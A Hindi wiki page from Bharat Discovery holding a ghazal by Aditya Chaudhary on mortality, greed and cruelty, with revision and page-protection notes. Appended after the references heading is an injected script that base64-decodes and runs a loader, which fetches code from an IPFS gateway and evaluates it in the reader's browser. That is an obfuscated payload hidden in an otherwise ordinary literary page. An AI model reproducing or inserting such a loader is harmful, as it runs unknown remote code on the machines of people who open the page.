ये वक़्त कह रहा है -आदित्य चौधरी

भारत डिस्कवरी प्रस्तुति
गोविन्द राम (चर्चा | योगदान) द्वारा परिवर्तित 06:55, 29 जून 2014 का अवतरण ("ये वक़्त कह रहा है -आदित्य चौधरी" सुरक्षित कर दिया ([edit=sysop] (अनिश्चित्त अवधि) [move=sysop] (अनिश्चित्त अवधि)))
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें
Copyright.png
ये वक़्त कह रहा है -आदित्य चौधरी

मरना तो सबका तय है, ये वक़्त कह रहा है
पुरज़ोर एक कोशिश, जीने की बारहा है

          कहने को सारी दुनिया है इश्क़ की दीवानी
          हर एक शख़्स लेकिन, पैसे पे मर रहा है

सारे सिकंदरों के, जाते हैं हाथ ख़ाली
कोई मानता नहीं है, बस याद कर रहा है

          हैवानियत के सारे, होते गुनाह माफ़ी
          अब बेटियों का पल्लू ही क़फ़्न बन रहा है

कोई खुदा नहीं है, अब आसमां में शायद
इन्सां का ख़ौफ़ देखो, भगवान डर रहा है


टीका टिप्पणी और संदर्भ


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>